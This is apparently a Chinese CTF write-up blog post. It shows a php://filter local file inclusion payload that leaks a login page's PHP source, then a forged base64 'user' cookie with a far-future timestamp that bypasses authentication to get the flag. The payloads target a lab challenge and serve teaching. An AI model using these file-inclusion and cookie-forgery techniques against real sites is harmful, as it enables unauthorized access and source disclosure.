前言
朋友发过来的一道题,正好闲着没事想着试一下看能不能做出来,由于是别人开的环境所以解答中只包含了对解题有用的代码还请见谅,嘻嘻嘻。当然从今天开始也是第一天写博客,以后会陆续把自己打CTF的经历写出来或者分享一些渗透经历。
一、审题
题目路径为:http://xxxxxx/login.php?file=login,且题目界面为一个登录界面。
首先,看到登陆界面首先想到sql注入,但多次尝试无果,于是把目光看向uri,php?file=login可以看出是典型的文件包含,试着伪协议读取login.php,即在file=后面拼接php://filter/read=convert.base64-encode/resource=login,发现页面有回显即base64后的源码,解码后为(php部分):
<?php
error_reporting(0);
include('fun.php');
$p=getenv('pass'); #密码有16位,不要想着爆破啦
if(isset($_POST['username'])&&isset($_POST['password'])){
$username=$_POST['username'];
$password=$_POST['password'];
if($username==='admin' && $password===$p){
setcookie('user',encryptStr($username));
die($flag);
}
else{
die("用户名或密码错误!");
}
}
if(decryptStr($_COOKIE['user'])){
die($flag);
}
可以发现源码内包含了fun.php,所以我们继续伪协议读取fun.php,php://filter/read=convert.base64-encode/resource=fun,解码后为:
<?php
$flag=file_get_contents('/flag');
function encryptStr($str){
$encode_s=base64_encode(time()).'.'
.base64_encode($str);
return $encode_s;
}
function decryptStr($str){
$arr = explode('.',$str);
if(time()-intval(base64_decode($arr[0]))<1*3600){
//cookie只有1分钟有效期
if(base64_decode($arr[1])==='admin'){
//确保登录用户为admin
return true;
}
}
}
?>
到目前为止基本上信息收集已经够了,可以基本上判断为一个文件包含+代码审计的题
二、代码审计
1.重要函数概念
题目中出现的不认识的函数需要自己去查,这样才能更好理清思路
explode($a,$b):以$a作为分隔线将$b作为元素并返回一个数组,例如:$res=explode(',','hello,world'),$res=['hello','world']
die($res):退出某个进程并输出变量$res
2.理清代码逻辑
先观察第一段代码:正常登录post传参username,password,如果账号密码同时正确即可得到flag,但这个条件明显无法达到(16位,幸亏当时没爆破),所以我们看向第二个大if语句
if(decryptStr($_COOKIE['user'])){
die($flag);
}
如果decryptStr($_COOKIE['user'])条件为真即可获取flag,所以可以肯定这里就是突破点了,所以我们继续跟进decryptStr()这个函数,可以马上发现在fun.php里面有这个函数:
function decryptStr($str){
$arr = explode('.',$str);
if(time()-intval(base64_decode($arr[0]))<1*3600){
//cookie只有1分钟有效期
if(base64_decode($arr[1])==='admin'){
//确保登录用户为admin
return true;
}
}
}
$arr = explode('.',$str)即将$str以点作为分隔,各个元素组合形成数组$arr,继续向下跟进:
if(time()-intval(base64_decode($arr[0]))<1*3600){
//cookie只有1分钟有效期
if(base64_decode($arr[1])==='admin'){
//确保登录用户为admin
return true;
}
}
如果当前的时间戳(time()函数为获取当前时间戳)减去$arr数组的第一位元素base64解码过后的整型要小于3600并且base64解密过后的$arr数组第二个元素强等于admin,即可返回true,所以我们只要满足这两个条件就可以获取flag了,而这个函数引入的参量便是user这个Cookie值,所以只需添加Cookie值即可。由于只要两数之差小于3600即可,所以我们暂且将数组第一个元素设置为9999999999999999并base64加密即可。
所以在登录界面,任意输入数字后登录进行抓包,在报头添加Cookie: user=OTk5OTk5OTk5OTk5OTk5OQ==.YWRtaW4=,删除body部分后发包即可回显出flag:DASCTF{97261283880281881047510905494476}
总结
由于本人技术比较菜第一次写博客,所以有些专业知识可能出错还请各位大牛指正。因为不知道该题目的源头所以也不知道官方wp是什么,若有雷同,纯属巧合。